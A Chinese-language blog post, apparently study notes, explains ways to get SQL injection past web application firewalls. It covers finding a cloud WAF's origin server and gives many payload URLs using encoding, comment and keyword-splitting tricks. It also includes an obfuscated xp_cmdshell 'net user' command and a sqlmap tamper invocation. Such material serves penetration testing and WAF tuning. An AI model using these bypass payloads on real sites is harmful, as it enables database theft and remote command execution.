waf繞過之——waf注入繞過

waf注入繞過

這樣算是面試過程中比較經典的一個問題了

網站WAF是一款集網站內容安全防護、網站資源保護及網站流量保護功能爲一體的服務器工具。
功能涵蓋了網馬/木馬掃描、防SQL注入、防盜鏈、防CC攻擊、網站流量實時監控、網站CPU監控、下載線程保護、IP黑白名單管理、網頁防篡改功能等模塊。

能夠爲用戶提供實時的網站安全防護,避免各類針對網站的攻擊所帶來的危害。主要是防一些網絡層和傳輸層的攻擊

分類

軟件

裝在主機側(服務器)上
比較出名的安全狗就是其中之一

硬件

創建在企業中
用戶訪問網站都要經過

雲waf

知道真實IP地址可以過

				很多公司不是全部域名都上了雲waf

利用泛域名獲取真實IP
開啓之後,任何域名都可以解析,可以解決暴力破解
也就是可以通過一個不存在的二級域名訪問網站比如wdedx.baidu.com
開啓泛域名有一個缺點
這時候不管是CDN還是WAF都是直接到真實IP
也就是我們通過ping一個隨意的二級域名,就可以找到真實IP了

同時也可以利用burp中插件bypass waf
注意burp任何插件安裝後都要在項目選項,會話處理進行配置
可以僞造本地訪問

waf硬件軟件功能是差不多,像一個防火牆一樣,創建在企業鏈路上,基本是企業必備的,按域名收費

WAF簡介

網站WAF是一款服務器安全防護軟件,是爲IDC運營商、虛擬主機服務商、企業主機、服務器管理者等用戶提供服務器安全防範的實用系統,是集網站內容安全防護、網站資源保護及網站流量保護功能爲一體的服務器工具。

常見的系統攻擊分爲兩類:
一是利用Web服務器的漏洞進行攻擊,如DDOS攻擊、病毒木馬破壞等攻擊;
二是利用網頁自身的安全漏洞進行攻擊,如SQL注入攻擊、跨站腳本攻擊等。常見攻擊方式對網站服務器帶來的危害主要集中在病毒木馬破壞、網頁非法篡改、各類網絡攻擊帶來的威脅。

waf注入繞過檢測方法

要實現繞過首先讓我們瞭解一下waf防禦流程

waf檢測階段流程

在這裏插入圖片描述

WAF身份認證階段的繞過

身份認證階段
WAF是有一個白名單的,在白名單內的客戶請求將不做檢測

繞過方法一:僞造搜索引擎
老版本的WAF是有這個漏洞的,就是把User-Agent修改爲搜索引擎,便可以繞過,進行sql注入等攻擊, 這裏推薦一個火狐插件,可以修改User-Agent,叫User-Agent Switcher
現在不可以了

繞過方法二:僞造白名單特殊目錄
之前360webscan有這個缺陷,現在也不行了

繞過方法三:直接攻擊源站
這個方法可以用於一些雲WAF,雲WAF的原理:通過DNS解析到雲WAF,訪問網站的流量要經過指定的DNS服務器解析,然後進入WAF節點進行過濾,最後訪問原始服務器,如果我們能通過一些手段(比如c段、社工)找到原始的服務器地址,便可以繞過

數據包解析階段的繞過(主要是正常解析情況)

(1)編碼繞過
最常見的方法之一,可以進行urlencode
早期的方法,現在效果不是太好
(2)修改請求方式繞過
最典型的修改請求方式繞過,很多的asp,aspx網站都存在這個問題,有時候WAF對GET進行了過濾,但是Cookie甚至POST參數卻沒有檢測。
(3)復參數繞過
例如一個請求是這樣的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改爲

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句
(4)WAF觸發規則的繞過
WAF在這裏主要是針對一些特殊的關鍵詞或者用法進行檢測。繞過方法很多
繞過策略一:特殊字符替換空格
用一些特殊字符代替空格,比如在mysql中%0a是換行,可以代替空格,這個方法也可以部分繞過最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

繞過策略二:特殊字符拼接
把特殊字符拼接起來繞過WAF的檢測,比如在Mysql中,可以利用註釋/**/來繞過,在mssql中,函數裏面可以用+來拼接
如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
可以改爲:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)

繞過策略三:註釋包含關鍵字
在mysql中,可以利用/!/包含關鍵詞進行繞過,在mysql中這個不是註釋,而是取消註釋的內容。測試最新版本的WAF可以完美繞過。
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改爲: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
現在不可以

繞過策略四:特殊符號
嘗試seelct~ select~1 select! select@等繞過成功

(5):空格替換法
把空格替換成%0a/**/可以繞過最新版本WAF, 在Pangolin中 點擊 編輯-- 配置-- 高級-- 選擇替換空格使用-- 填上%0a/**/即可

http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5

(6)關鍵字替換

http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

此方法適用於一些會把union select替換掉的WAF,經過WAF過濾後就會變成 union select 1,2,3,4....

(7)編碼與註釋結合

http://www.***.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
http://192.168.0.142:8080/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不攔截)

U替換爲%55,S替換爲%53 在 union 和 select 之間添加註釋/**/
手工進行加註釋進行注入太慢,一般我們通過Sqlmap這類工具來實現自動注入:

sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1

(8)利用WAF本身的功能繞過
假如你發現WAF會把"*"替換爲空,那麼你就可以利用這一特性來進行繞過http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
(9)使用其他變量或者命令對注入語句進行替換

COMMAND | WHAT TO USE INSTEAD
	@@version | version()
		concat() | concat_ws()
			group_concat() | concat_ws()
					= | like
				**還有就是把or '1=1' 改成更復雜的例如-1=-1**

(10)組合繞過waf
先判斷注入點,把and爲&&,urlencode後爲%26%26

http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2

具體講解繞過方法
1.利用()代替空格
2.利用mysql特性/!/執行語句
3.利用/**/混淆代碼
注入語句

							union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
							id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,     
							user(),(database/**/()),4,5
							http://192.168.0.102:8080/sql.php?id=1 
							union/*%00*//*!50010select*/1,user(),version(),4,5

注意
1.mysql關鍵字中是不能插入/**/的,即se/**/lect是會報錯的,但是函數名和括號之間是可以加上/**/的,像database/**/()這樣的代碼是可以執行的
2./!/中間的代碼是可以執行的,其中50010爲mysql版本號,只要mysql大於這個版本就會執行裏面的代碼
3.數據或者函數週圍可以無限嵌套()
4.利用好%00

補充

IP地址黑名單,在生產環境中有很多公司選擇關閉這一功能,一方面是誤封率很高,另一方面因爲正常用戶IP被攻擊者僞造利用

waf針對於get防護度是很高的,很多選項默認開啓,但是cookie post很多功能並不開啓,現在沒有一個安全廠商可以做到全部功能開啓,資源佔用量太大,所以一般只檢測常見問題
因此在繞過的時候儘量避免get請求

小結:整體思路還是比較龐大的,按照整體防禦思路進行繞過來記憶吧,感覺WAF跟DNS有一點異曲同工之處,查了一下,可以結合起來做防禦,今天還學了點木馬免殺,總結就不發了,問爲什麼的就趕緊遠離好吧在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章